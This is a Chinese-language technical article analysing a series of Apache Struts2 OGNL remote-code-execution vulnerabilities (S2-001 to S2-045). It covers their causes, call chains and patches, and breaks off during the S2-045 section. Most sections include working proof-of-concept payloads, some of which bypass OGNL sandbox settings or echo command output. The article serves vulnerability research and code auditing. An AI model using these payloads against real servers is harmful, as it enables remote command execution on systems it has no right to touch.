您当前所在位置: > 网游 > 网游百科

Struts2基于OGNL的RCE漏洞全解析

时间:2019-10-30 08:59:29  来源:  作者:网络

原标题:Struts2基于OGNL的RCE漏洞全解析

引言

最近两年ST2-OGNL方面的漏洞已经渐渐淡出大家的视线,但我觉得作为曾经红极一时的经典系列RCE漏洞,对于ST2和OGNL有一个深入的认知对于代码审计和漏洞挖掘者是十分重要的,所以这篇文章对ST2中由于OGNL造成的RCE漏洞的成因、修复方案一一作了分析,希望能让各位看官对ST2和OGNL能够有一个深入的认知。

环境搭建

笔者为了方便调试各个版本的漏洞临时搭建了一个maven的环境,比较拙劣,就不拿出来给各位看官造成困扰,但是在GitHub上我找到了一个非常棒的ST2各个版本漏洞调试环境,在这里推荐给大家。

不过其实为了提升对漏洞的认知,我还是非常建议自己去搭建环境的。

ognl表达式基础

这里直接通过一段实例代码来解释ognl表达式的一些常规使用,

import ognl.Ognl; import ognl.OgnlContext; import java.util.HashMap; import java.util.Map; public class User { private String name; private Integer age; public User { super; } public User(String name, Integer age) { super; this.name = name; this.age = age; } public String getName { return name; } public void setName(String name) { this.name = name; } public Integer getAge { return age; } public void setAge(Integer age) { this.age = age; } public static void main(String[] args) throws Exception { User rootUser = new User("tom",18); Map context = new HashMap; context.put("user1",new User("jack",20)); context.put("user2",new User("rose",22)); OgnlContext oc = new OgnlContext; //ognl由root和context两部分组成 oc.setRoot(rootUser); oc.setValues(context); //get ognl的root的值的时候,直接写希望获取的值的名字就可以了 String name = (String) Ognl.getValue("name",oc,oc.getRoot); Integer age = (Integer) Ognl.getValue("age",oc,oc.getRoot); //get ognl非root的值的时候,需要使用# User name1 = (User) Ognl.getValue("#context['user1']",oc,oc.getRoot); String name2 = (String) Ognl.getValue("#user2.name",oc,oc.getRoot); Integer age1 = (Integer) Ognl.getValue("#user1.age",oc,oc.getRoot); Integer age2 = (Integer) Ognl.getValue("#user2.age",oc,oc.getRoot); //ognl的getValue函数可以直接执行java函数 Object obj = Ognl.getValue("'helloworld'.length",oc.getRoot); //访问静态属性和方法的时候需要使用@ Object obj2 = Ognl.getValue("@java.lang.Runtime@getRuntime.exec('open /Applications/Calculator.app/')",oc.getRoot); } } S2-001

适用版本:2.0.0 – 2.0.8

简易POC %{@java.lang.Runtime@getRuntime.exec("open /Applications/Calculator.app/")}

只命令执行,无回显。

实用POC %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"/bin/bash", "-c", "whoami"})).redirectErrorStream(true).start,#b=#a.getInputStream,#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter.println(new java.lang.String(#e)),#f.getWriter.flush,#f.getWriter.close}

通过重写response实现命令回显。

注意1:tomcat在处理post参数的时候遇到 %{*}的形式会报空指针异常,所以post参数传的时候要做url编码。

注意2:为了研究的目的,仅第一版POC给出实用版,剩下的研究仅提供简易版来验证RCE的存在。

漏洞原理

ognl表达式的getValue函数本身具有执行java代码的能力,最基础的形式如下:

public class Ognltest { public static void main(String[] args) throws OgnlException { OgnlContext context = new OgnlContext; Object obj = Ognl.getValue("'helloworld'.length",context); System.out.println(obj); Object obj1 = Ognl.getValue("@java.lang.String@format('foo %s','bar')",context); System.out.println(obj1); Object obj2 = Ognl.getValue("@java.lang.Runtime@getRuntime.exec('open /Applications/Calculator.app/')",context); } }

也就是说,当Ognl.getValue的第一个参数可控的时候,就可以造成RCE。

struts2用来处理传入参数以及request中各项参数的值栈OgnlValueStack在进行取值的时候,就会去调用ognl的getValue参数,从而造成命令执行。

看一下调用栈,只跟到Ognl.getValue,因为到这一步已经可以确认RCE了

先说一下为什么触发点是从doEndTag开始:当你在输入框中输入了用户名或密码后,ST2需要将你输入的值保留在jsp页面表单对应的value上,所以就会去调用doEndTag方法。

关键函数在TextParseUtil.translateVariables

public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) { Object result = expression; while(true) { int start = expression.indexOf(open + "{"); int length = expression.length; int x = start + 2; int count = 1; while(start != -1 && x < length && count != 0) { char c = expression.charAt(x++); if (c == '{') { ++count; } else if (c == '}') { --count; } } int end = x - 1; if (start == -1 || end == -1 || count != 0) { return XWorkConverter.getInstance.convertValue(stack.getContext, result, asType); } String var = expression.substring(start + 2, end); Object o = stack.findValue(var, asType); ... } }

translateVariables函数传过来的open参数的值是’%',在截取var的时候是截取的 open+{ 之后的字符串,并把var传入stack.getValue,这也是我们的poc构造的时候要写成%{*}形式的原因。进入stack.getValue之后就是顺理成章的进入到Ognl.getValue中去了。

关于实用版本的POC,还有有一个值得一提的地方,就是如何让命令进行回显,这里就是通过struts2处理response的com.opensymphony.xwork2.dispatcher.HttpServletResponse类来写入了我们命令执行的回显。不过随着struts版本的升级,处理response的类会改变,因此写入回显的类也会发生变化。

修复

去看一下S2-001的修复代码,修复放也在了TextParseUtil.translateVariables函数中,

public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator, int maxLoopCount) { Object result = expression; int loopCount = 1; int pos = 0; while(true) { int start = expression.indexOf(open + "{", pos); if (start == -1) { int pos = false; ++loopCount; start = expression.indexOf(open + "{"); } if (loopCount > maxLoopCount) { break; } int length = expression.length; int x = start + 2; int count = 1; while(start != -1 && x < length && count != 0) { char c = expression.charAt(x++); if (c == '{') { ++count; } else if (c == '}') { --count; } } int end = x - 1; if (start == -1 || end == -1 || count != 0) { break; } String var = expression.substring(start + 2, end); Object o = stack.findValue(var, asType); ... ... int length2 = (left == null || left.length <= 0) ? 0 : left.length - 1; int length3 = (middle == null || middle.length <= 0) ? 0 : middle.length - 1; pos = Math.max((length3 + length2) + MAX_RECURSION, MAX_RECURSION); ... } }

ST2在修复漏洞的时候,不像一般的框架通过抛异常的方式,所以分析修复还需要把两个版本的jar包做一下比对,而且修复点还是放在了xwork的jar里面,这点需要留意。

因为ST2在处理stack值栈的时候,是根据传入的expression是否是%{}的形式来判断这个参数是否需要传给Ognl.getValue的,POC也正是利用了这一点,把形如 %{}的特殊参数值传了进去。这次修复的时候,在判断expression是否形如%{}的时候加入了一个起始位置判断参数pos(而不是所有的值都是从起始位开始计算),这样的话是防止了构造特殊参数值的问题。但与此同时,我们也能看出ST2因为自身需要,无法对%{}这种写法进行禁用,这次的特殊值是从post的参数值传过来的,下一次也可能从很多其他地方传过来,毕竟不论是header还是post的参数名等很多从request传过来的值都是需要放在OgnlValueStack中的,所以,以此为基点,也开始拉开了ST2不断被发掘RCE的起点。

S2-003

适用版本:2.0.0 – 2.1.8.1

tomcat版本要求:6.0

因为高版本的tomcat遇到了S2-003的POC中的特殊字符会报错,所以这个漏洞的复现只能在Tomcat的6.0及以前版本复现。

同Ognl.getValue,Ognl.setValue同意具有执行java代码的能力,写法如下,

OgnlContext context = new OgnlContext; Ognl.setValue("(\"@java.lang.Runtime@getRuntime.exec(\'open /Applications/Calculator.app/\')\")(glassy)(amadeus)",context,"");

看一下这个ognl的表达式,表面上去看上去是有点诡异的,在我们上面的getValue的exp后面多了个(glassy)(amadeus),关于ognl对上面这串表达式的执行流程是,ognl首先对(\”@java.lang.Runtime@getRuntime.exec(\’open /Applications/Calculator.app/\’)\”)(glassy)当做表达式进行计算,这个表达式返回了带有payload的ASTEval树,然后以amadeus为root再对这个AST树进行计算,从而造成了RCE.

如果觉得笔者说的不够详细还可以直接去看一下官方的原文解释。

S2-003就是利用了Ognl.setValue的执行java代码的能力造成的RCE。

简易POC http://www.glassy.com/test.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(a)(b)&('\u0040java.lang.Runtime@getRuntime.exec(\'open\u0020/Applications/Notes.app/\')')(a)(b)

POC和Ognl表达式区别不大,只有两点需要留意:

1.多了一个将xwork.MethodAccessor.denyMethodExecution的值设为false的操作。

2.一些敏感字符(@、\=、#)被写成了\u00??的形式。

具体原因在原理中给出。

原理

poc要分两部分分析,第一部分(‘\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse’)(a)(b)

先url变成未编码的样式去看(‘#context[\'xwork.MethodAccessor.denyMethodExecution\']=false’)(a)(b)

看变量名都能明白是什么意思denyMethodExecution,将禁止方法执行设置为了flase,也就是允许方法执行。

第二部分(‘\u0040java.lang.Runtime@getRuntime.exec(\’open%\u0020/Applications/Notes.app/\’)')(a)(b)就是我们希望传给Ognl.setValue的值(‘@java.lang.Runtime@getRuntime.exec(\’open /Applications/Notes.app/\’)')(a)(b)

看一下调用栈,

其中在ParametersInterceptor的doIntercept方法中,可以看到把denyMethodExecution设置为了true,这也是我们poc第一部分要把值修改一下的原因,

否则的话,在调用getRuntime方法的时候,会报错,具体判断代码在XWorkMethodAccessor的callStaticMethod方法中。

public Object callStaticMethod(Map context, Class aClass, String string, Object[] objects) throws MethodFailedException { Boolean exec = (Boolean)context.get("xwork.MethodAccessor.denyMethodExecution"); boolean e = exec == null ? false : exec; return !e ? super.callStaticMethod(context, aClass, string, objects) : null; }

然后我们再来看一下两部分POC的字符都写成\u00??的样式的原因,第一点,我们先理解一下为什么写成这种形式,代码能识别,

看一下OgnlUtil类的setValue函数,可以看到它在调用Ognl.setValue的时候,会先把传过来的name放到compile函数中做一下处理,也正是这个处理将\u00??转化成了其url解码后对应的字符。

public static void setValue(String name, Map context, Object root, Object value) throws OgnlException { Ognl.setValue(compile(name), context, root, value); }

上面解释了编码后字符能够被识别的原因,现在我们来看一下为什么要编码,在参数进入到ParametersInterceptor的setParameters函数的时候,要把参数放到acceptableName函数中做一下判断,如果不满足判断,就不会对后续参数进行处理,看一下这个函数,

protected boolean acceptableName(String name) { return name.indexOf(61) == -1 && name.indexOf(44) == -1 && name.indexOf(35) == -1 && name.indexOf(58) == -1 && !this.isExcluded(name); }

可以看到是有一个黑名单的,也可以发现’#'对应的ascii 35是在这个黑名单里面的,所以我们才需要进行编码。

但是从黑名单里面可以看到,‘@’对应的ascii 64并不在黑名单之中,那为什么它也要进行编码呢,我们去比对一下@编码和不编码的时候的params值的区别,因为params值在后续是会轮流放进Ognl.setValue方法中的,

其中有一处看上去不起眼的区别就是,poc的两部分的顺序发生了变化,而因为后面的Ognl.setValue的调用是按照params的顺序进行的,一旦造成RCE的poc部分在设置denyMethodExecution的poc部分之前执行了,就会抛出异常了,这就是‘@’字符不在黑名单中也要做一个编码的原因。

不过这个poc只适用到2.0.11到2.0.11.1和2.0.11.1不再使用indexOf来做黑名单匹配,而改使用了[\p{Graph}&&[^,#:=]]*这个正则去做匹配,效果一样。

后续的操作就是Ognl.setValue造成RCE的部分,就不再分析了。

修复

这次漏洞修复的补丁比较复杂一点,先对修复前后两个版本的xwork的jar包做一个比对,可以看到关键的修复部分在ParametersInterceptor的setParameters处

还有OgnlValueStack中新增了一个allowStaticMethodAccess成员变量和SecurityMemberAccess成员对象,

动态调试一下,就可以发现在stack中多了一个securityMemberAccess变量,其中关键的成员变量allowStaticMethodAccess和excludeProperties为后续能否调用函数做了一下判断。具体的判断位置分别在SecurityMemberAccess的isAccessible函数和isExcluded函数中。

S2-005

适用版本:2.0.0 – 2.1.8.1

tomcat版本要求:6.0

S2-005就是对于S2-003的绕过,从上面的修复可以看到,补丁的关键部分在于通过对securityMemberAccess的两个成员变量allowStaticMethodAccess和excludeProperties对OGNL表达式能否加载函数,然而通过OGNL表达式,我们可以改写这两个变量的值(和denyMethodExecution是一个套路),来实现补丁的绕过。我们需要做的事情就是保证allowStaticMethodAccess的值为真,excludeProperties的值为空。

简易POC http://www.glassy.com/test.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(a)(b)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(a)(b)&('\u0023_memberAccess.allowStaticMethodAccess\u003dfalse')(a)(b)&('\u0040java.lang.Runtime@getRuntime.exec(\'open\u0020/Applications/Notes.app/\')')(a)(b) 原理

关于绕过思路,没有什么好说的了,我们在这里就讨论一下怎么去构造这个payload,也就是#_memberAccess.allowStaticMethodAccess=false这个#_memberAccess是怎么来的。

其实struts2的SecurityMemberAccess类是ognl中DefaultMemberAccess类的一个子类,在使用Ognl进行getValue的时候,会把这个SecurityMemberAccess传递给ognl,使用我们只需要去看看ognl怎么设置MemberAccess的值就OK了。去看一下Ognl类的setMemberAccess函数,

public static void setMemberAccess(Map context, MemberAccess memberAccess) { context.put(OgnlContext.MEMBER_ACCESS_CONTEXT_KEY, memberAccess); }

再去看一下OgnlContext.MEMBER_ACCESS_CONTEXT_KEY的值,就找到了_memberAccess,

public static final String MEMBER_ACCESS_CONTEXT_KEY = "_memberAccess";

关于_memberAccess.excludeProperties的空值怎么构造,只需要把程序断点打到excludeProperties赋值前,就可以看到空值是什么样子的了,

修复

S2-005的补丁就是加强了ParametersInterceptor.acceptableName函数的正则,把正则换成了更精准额匹配:[a-zA-Z0-9.][_'\s]+

S2-007

适用版本:2.0.0 – 2.2.3

S2-007的利用场景比较苛刻,要求对提交的参数配置了验证规则并对提交的参数进行类型转换的时候会造成OGNL表达式的执行。

简易POC

假设user.birthDay做了类型转换。

user.name=glassy&user.age=12&user.birthDay=%27%2b(%23_memberAccess.allowStaticMethodAccess%3dtrue%2c%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%40java.lang.Runtime%40getRuntime.exec(%27%2fApplications%2fNotes.app%2fContents%2fMacOS%2fNotes%27))%2b%27&user.email=31312%40qq.com 原理

在这里先介绍一下ST2如何处理各种数据(客户端穿来的param,生成的日志等),所有的数据优先都会先去找到DefaultActionInvocation类,再由DefaultActionInvocation交给对于的Interceptor处理,总共有16个Interceptor,都可以在xwork-default.xml中看到,

关于S2-007漏洞的触发是和类型转换报错有关的,我们很容易就找到了ConversiInterceptor,看名字就知道类型转换报错是交给这个类处理的,

跟进ConversiInterceptor的intercept函数,可以看到我们构造的payload被取出后,进到了getOverrideExpr函数

看一下getOverrideExpr函数,其实就是把我们的payload用单引号阔起来了,这也就解释了为什么我们的payload是形如 ‘ + (*) + ‘的形式,就是为了逃逸这个单引号,

然后我们以kay-value的形式将param-payload存入名为fakie的变量中,继续往下,看到最后fakie被放到了setExprOverrides函数中,

根据setExprOverrides函数,就是讲param-payload的这个变量放到了stack的overrides中了,

接下来我们就去跟进一下造成RCE的调用栈,只跟进到ognl.getValue剩下的都是前文的内容了,

其实总体上的调用栈和001非常相似,唯一我们需要留意的就是payload是从哪里获取的,看一下OgnlValueStack的tryFindValue,看到进入getvalue的expr的值是从lookupForOverrides中获取的,

跟进lookupForOverrides函数,就可以看到我们把ConversiInterceptor在处理payloay的时候放进overrides的值给拿出来了,接下来就是顺理成章的交给ognl.getValue造成rce。

修复

看一下007的修复,在ConversiInterceptor的getOverrideExpr中对value的值做了一下escape,防止再从引号里面逃逸出来。

S2-009

适用版本:2.0.0 – 2.3.1.1

tomcat版本要求:6.0

S2-009其实就是对003和005的绕过,通过上面的修复分析,我们可以看到对于参数名的正则限制,已经可以保证在参数名方面寻找绕过方式是很困难的了,于是009把绕过的重点放到了参数值上,

首先去看一个ognl.setValue造成rce的一种新的写法,

OgnlContext context = new OgnlContext; Ognl.setValue("password",context,"@java.lang.Runtime@getRuntime.exec('open /Applications/Notes.app/')(glassy)"); Ognl.setValue("a[(password)(glassy)]",context,"true");

第一行代码用于将password-payload的map写入ognl的root中去,第二行代码中的a[(password)(glassy)]在AST树中进行解析的时候按照从右到左,从里到外的顺序进行解析,因此优先解析(password)(glassy),password的值在root中有(password-payload),于是解析成了payload(glassy)的形式,然后就是和ST2-003一样的原理造成了RCE了。

其实想造成RCE把a[(password)(glassy)]写成(password)(glassy)的形式就可以成功,但是由于我们构造payload的地方在参数名处,因此我们还需留意让payload保持着参数名的正常格式,否则是没法被st2作为参数名完整的传到OGNL中的。

简易POC http://www.glassy.com/test.action?password=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27/Applications/Notes.app/Contents/MacOS/Notes%27%29%29%28meh%29&z[%28password%29%28meh%29]=true 原理

看一下调用链,其实一看是param方面的问题,直接去看ParametersInterceptor类就完事了,

漏洞成因其实就是把造成RCE的位置从参数名改到了参数值的位置,从而绕过了003和005补丁中对参数名的正则过滤,在OGNL中造成RCE的成因在上面已经分析完毕,不再重复。

修复

这次漏洞修复分为了两个部分,

1.加强了对参数名正则的限制,使形如a[(password)(glassy)]的参数名被过滤掉了。

2.在将param传给ognl的时候会去检查生成的AST树是否具有执行权限,如果有的话,就会抛出异常。

S2-012

适用版本:Struts Showcase 2.0.0 – Struts Showcase 2.3.14.2

简易POC

低版本struts,即还没引入allowStaticMethodAccess的poc

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"/bin/bash", "-c", "open /Applications/Notes.app/"})).start}

这次的poc没有使用Runtime类而改用了ProcessBuilder类,这个类有一个优势,它不是静态类,命令执行的时候调用的start方法也不是静态方法,不受OgnlValueStack类的allowStaticMethodAccess值的限制。(注意一下,这个poc也要url编码和S2-001一样的原因)

在showcase app中的利用位置,

原理

造成这个RCE的问题出在了重定向上,当需要从ST2的值栈中读取数据作为重定向的参数,而这个值又是前端可控的情况下可以造成RCE。(也就是说其实不在showcase app中有类似场景也能造成RCE,只是这种情景比较少见。)

edit.action?skillName=${currentSkill.name}

看一下调用栈,

因为这一次造成RCE是重定向的时候,这个时候各个Interceptor已经处理完传来的数据,RCE的调用也是从DefaultActionInvocation.executeResult往后走,

往后走后需要计算重定向的值,而重定向的值需要从stack中去取,

而stack处理取值的时候是使用递归的方式取值,首先取出currentSkill.name的值,发现值是ognl表达式,然后再去调ognl.getValue从而造成了RCE

修复

其实currentSkill.name在进入ognl.setValue的时候同样进入了之前修复001的时候的补丁代码,那么为什么这一次补丁代码没有生效呢。

原因就在于下图,之前的补丁修复方式就是把递归的pos放到了计算的结果后面,比如如果计算完了%{password}的值,下一次计算是从%{password}后面开始计算,然而这个补丁中有一个会重置pos为0的循环,

之前补丁能生效,是因为处理param的时候openChar只有1个字符,无法重置pos,

而使用重定向的功能的时候,传给evaluate的函数有两个openChar,从而导致循环的时候把本应该值是135(payload的长度)的pos重置为了0,从而重新把payload带入了ognl,造成了RCE。

使用这次修复代码十分简单,把pos=0放到了for循环外,防止对openChar做循环的时候把pos重置成0了。

S2-013

适用版本:2.0.0 – 2.3.14.1

013的利用场景比012还要苛刻,需要jsp的s:url或者s:a标签中的includeParams属性为all或者get,我这边给出我写的示例jsp

<%@ taglib prefix="s" uri="/struts-tags" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> ST2-013 Test test 简易POC http://www.glassy.com/Struts2Demo_war_exploded/hello.jsp?fakeParam=%25%7b%23a%3d(new+java.lang.ProcessBuilder(new+java.lang.String%5b%5d%7b%22%2fbin%2fbash%22%2c+%22-c%22%2c+%22open+%2fApplications%2fNotes.app%2f%22%7d)).start%7d 原理

文字说明一下造成rce的流程:jsp通过s:url或s:a标签来动态生成跳转的action的时候,如果想把jsp里面的参数带到action的后面,就需要配置includeParams,这样的话服务端就会先去拿到jsp的参数,并带到ST2的ognl里面计算一下这个参数再去拼接到action后面,从而造成了rce。

调用栈如下,

buildParameterSubstring会把传入的参数的值放到translateVariables函数中,而translateVariables就把值交给了ognl的getValue从而造成了RCE。

修复

只对传过来的参数做一下urlencode,不在放到ognl里面去计算了。

S2-015

适用版本:2.0.0 – 2.3.14.2

这个poc也是对服务端配置有一点要求的,它要求当ST2使用通配符‘*’来做action映射的时候才能利用成功。

配置在struts.xml中,示例如下

/example/{1}.jsp

ST2处理通配符配置的action映射的时候流程是这样的:如果一个请求的action在映射中不存在,那么就会去匹配通配符,ST2会根据请求的action名来加载对应的jsp文件。以上面的配置为例子,当请求一个struts.xml中不存在的test.action的时候,ST2就会去吧/example/test.jsp的内容返回给前端。

实用POC http://www.glassy.com/Struts2Demo_war_exploded/%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27ifconfig%27%29.getInputStream%28%29%29%2C%23q%7D.action

这一次的poc给出了实用版本的poc,主要原因在于之前的简易poc都是以打开计算器为实例,而这一次由于造成rce的位置在路径位置,导致带有 ‘/’ 的命令无法进入到ST2的ognl,所以只能使用ifconfig这种简单的命令,想验证执行就需要有回显(这里指的是mac下的复现情况)。

原理

先看调用栈,

这个漏洞的触发流程和012的流程差不多,012是在各个Interceptor处理完毕,开始计算重定向位置的时候造成的RCE,015是在各个Interceptor处理完毕,计算定向的jsp的时候造成的RCE,RCE的调用也是从DefaultActionInvocation.executeResult往后走,

具体的数据流也是和012相差无几的,这里就不再详细分析。

修复

修复就是对actionname做了正则限制。

S2-016

适用版本:2.0.0 – 2.3.15

ST2使用action:或redirect:\redirectAction:作为前缀参数来进行短路导航状态变化,后面用来跟一个期望的导航目标表达式。一看到这两个写法后面跟的是表达式,一定意义上就看到了RCE的可能性。

简易POC http://www.glassy.com/Struts2Demo_war_exploded/hello.action?redirect:%24%7b%23a%3d(new+java.lang.ProcessBuilder(new+java.lang.String%5b%5d%7b%27%2fbin%2fbash%27%2c+%27-c%27%2c%27open+%2fApplications%2fNotes.app%2f%27%7d)).start%7d 原理

先看调用栈,

调用栈和原理也和012几乎一样不再详细分析。

唯一需要注意的就是ST2对类似于redirect:这样的写法的处理是统一放在DefaultActionMapper里的,感兴趣的可以自己去看一下源码,

修复

修复方式十分简单粗暴,把这种用法给删除, 只留下了action:和method:两种无害的写法。(因为通过actionname造成的RCE已经在015漏洞处修复,所以action:这种写法就算是无害的了。)

S2-019

适用版本:2.0.0 – 2.3.15.1

019漏洞要求ST2开启开发者模式才能利用成功,不过ST2默认情况下开发者模式是打开的,如果想关闭,需要在struts.xml中添加如下配置,

简易POC

随便找个action,param的话post和get都行,

http://www.glassy.com/Struts2Demo_war_exploded/hello.action?debug=command&expression=%23a%3d(new+java.lang.ProcessBuilder(%27open+%2fApplications%2fNotes.app%2f%27)).start 原理

看这个漏洞要求开发者模式,且poc第一个参数是debug,就知道触发点应该是在DebuggingInterceptor上,去看一下intercept函数,整个利用一目了然,

public String intercept(ActionInvocation inv) throws Exception { boolean actionOnly = false; boolean cont = true; Boolean devModeOverride = FilterDispatcher.getDevModeOverride; boolean devMode = devModeOverride != null ? devModeOverride : this.devMode; final ActionContext ctx; if (devMode) { ctx = ActionContext.getContext; String type = this.getParameter("debug"); ctx.getParameters.remove("debug"); if ("xml".equals(type)) { inv.addPreResultListener(new PreResultListener { public void beforeResult(ActionInvocation inv, String result) { DebuggingInterceptor.this.printContext; } ... ... } else if ("command".equals(type)) { ValueStack stack = (ValueStack)ctx.getSession.get("org.apache.struts2.interceptor.debugging.VALUE_STACK"); if (stack == null) { stack = (ValueStack)ctx.get("com.opensymphony.xwork2.util.ValueStack.ValueStack"); ctx.getSession.put("org.apache.struts2.interceptor.debugging.VALUE_STACK", stack); } String cmd = this.getParameter("expression"); ServletActionContext.getRequest.setAttribute("decorator", "none"); HttpServletResponse res = ServletActionContext.getResponse; res.setContentType("text/plain"); try { PrintWriter writer = ServletActionContext.getResponse.getWriter; writer.print(stack.findValue(cmd)); writer.close; } catch (IOException var17) { var17.printStackTrace; }

从debug参数获取调试模式,如果模式是command,则把expression参数放到stack.findValue中,最终放到了ognl.getValue中。

修复

这个漏洞说是利用只到2.3.15,但是我在2.3.16依旧可以利用成功,我猜官方的意思应该就是debug下允许这种操作,所以提倡使用者关闭开发者模式吧。

S2-029

适用版本:2.0.0 – 2.3.24.1 (不包括2.3.20.3)

029的利用场景比较苛刻,所以在官方的漏洞定级上,比以往的RCE漏洞定级要低。

这次的RCE是一个二次的ongl表达式执行,它不再是像之前大多漏洞,随便找一个action就可以执行,它需要一个映射的jsp中将形如${name}的字符放到ST2的标签的属性中的action,然后通过将name参数构造出特殊的ognl表达式才能造成RCE。

下面给出示例写法,

实用poc

这次的实用POC非常好写,不需要重写response类,因为ST2会把插入的OGNL表达式的结果当做标签的value返回给前端。

http://www.glassy.com/Struts2Demo_war_exploded/s2029.action?message=(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime.exec('open%20/Applications/Notes.app/').getInputStream)) 原理

看一下调用栈,

其实这个漏洞和001有着很大的相似性,001就是在返回jsp的时候需要把输入的值放到jsp标签的value中,所以先把这个参数名放到了ognl.getvalue中,而当它的值又是ognl表达式的时候,就会递归的放进getvalue中导致了RCE。因为后续的补丁已经从根本上隔绝了绕过的可能性,所以这次的漏洞就是保证了payload在进入补丁代码前就已经是ognl表达式的格式(即%{*})。

当前端标签的属性值存在本来就是%{*}的格式的情况,只需要传入ognl表达式,就可以保证payload在传到UIBean的evaluateParams函数的时候,name就已经是一个ST2的ognl表达式格式了,这样在后续的处理中就会顺理成章的交给ognl.getvalue,从而导致了RCE。

问题的关键在于completeExpressionIfAltSyntax函数给我们传进的表达式放到了%{}之中,

protected String completeExpressionIfAltSyntax(String expr) { return this.altSyntax ? "%{" + expr + "}" : expr; } 修复

这一次的修复放在了OgnlUtil处,选择了治标治本的方法,直接对AST树的执行权限做了限制。(之前第一次对AST树执行权限的限制仅仅是对ATSChain类的执行做了限制,而此次构造的payload生成的是ATSSequence类,所以这次也对这个类的执行做了限制)

S2-032

适用版本:2.3.20 – 2.3.28(2.3.20.3和2.3.24.3除外)

这个版本漏洞要求在struts.xml中将DynamicMethodInvocation设置为true才能利用成功。(低版本ST2的DynamicMethodInvocation默认为true,高版本默认为false)

简易poc http://www.glassy.com/struts2-showcase/home11.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime.exec(%23parameters.cmd%5B0%5D),d&cmd=/Applications/Notes.app/Contents/MacOS/Notes

这一次的poc有几个非常奇妙的地方,需要一一留意。

1、为什么这一次没有直接写成@java.lang.Runtime@getRuntime.exec(‘whoami’)的形式,而写成了@java.lang.Runtime@getRuntime.exec(%23parameters.cmd%5B0%5D)的形式。

有心的同志们可要去尝试一下第一种写法,会发现会报OGNL表达式错误,根本原因就在于使用method:的时候ST2会去创建一个ActionProxy来执行method后面的内容,当我们把内容放到StrutsActionProxy类的构造函数中去创建代理对象的时候会对我们传进来的表达式做一次编码,导致最后进入ognl.getValue中的表达式变成了@java.lang.Runtime@getRuntime.exec(\’whoami\’),从而导致了ognl表达式的报错。而request中所有的参数都会放在context中,可以通过#parameters.参数名[0]的方式获取,非常方便。

2、为什么poc末尾会有一段非常奇怪的:’,d’。这个问题要去看一下DefaultActionInvocation类,

可以看到在传给ognl.getValue之前,代码会给我们传过来的表达式后面加一个括号,而我们的poc写成 ,d的形式只是为了去构成一个形如d的函数形式,防止ognl表达式报错。

原理

在S2-016中,我们已经介绍过,ST2处理url中处理method:这类写法的代码在DefaultActionMapper中,我们去看一下。

看到的那个if语句,也就是我们需要保证DynamicMethodInvocation为true的原因。

看一下造成rce的调用栈,

这一次调用栈也非常简单,关键的poc构造部分在上面已经解析完了,我这里依旧文字说明一下流程:当所有的interceptors调用完成后,计算返回码的时候,ST2就开始去计算我们最初传过来的method:后面的值,从而把内容放进了ognl.getValue,造成了RCE。

修复

这一次的修复是把传过来的methmod的值放到了cleanupActionName函数中做了一下正则过滤。

this.allowedActionNames = Pattern.compile("[a-zA-Z0-9._!/\\-]*");

看到这里有人会产生疑问,分明S2-029的修复补丁中把AST树的执行权限都禁了,怎么还能执行成功,我专门去看了一下2.3.28的代码,万万没想到,2.3.24.3的补丁代码没了,这也是为什么2.3.28可以利用而2.3.24.3除外的原因。

注:S2-033和S2-037与032的利用原理、修复补丁基本相似,所以不再分析。

S2-045

适用版本:2.3.5 – 2.3.31, 2.5 – 2.5.10

这次的漏洞,官方通告中说的是上传组件的问题导致的RCE漏洞,但是利用的话,随便任意一处.action都可以利用成功。

简易poc Content-Type:%{(#glassy='multipart/form-data').(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#a=(new java.lang.ProcessBuilder('/Applications/Notes.app/Contents/MacOS/Notes')).start)}

关于poc有一处细节非常重要,我们可以看到连接每个表达式的不再是’,’ 而变成了’.’ ,有心的同学可以去试一下使用’,'是不行的,问题就出在了S2-029的补丁把ATSSequence树给禁了,而用’,'连接生成的AST树都是ATSSequence树,使用之所以使用’.'也就是为了绕过S2-029的补丁。

原理

这一个漏洞的调用链还是和之前的有很大的不同的,

我们这次从Dispatcher类开始分析,这也是ST2刚收到request时候的处理类,当ST2收到的request包包含Content-Type,并且Content-Type中包含“multipart/form-data”的时候会把请求交给MultiPartRequestWrapper处理,

MultiPartRequestWrapper会使用JakartaMultiPartRequest类去处理上传,文件,当上传文件出错的时候,就会调用buildErrorMessage函数处理报错,

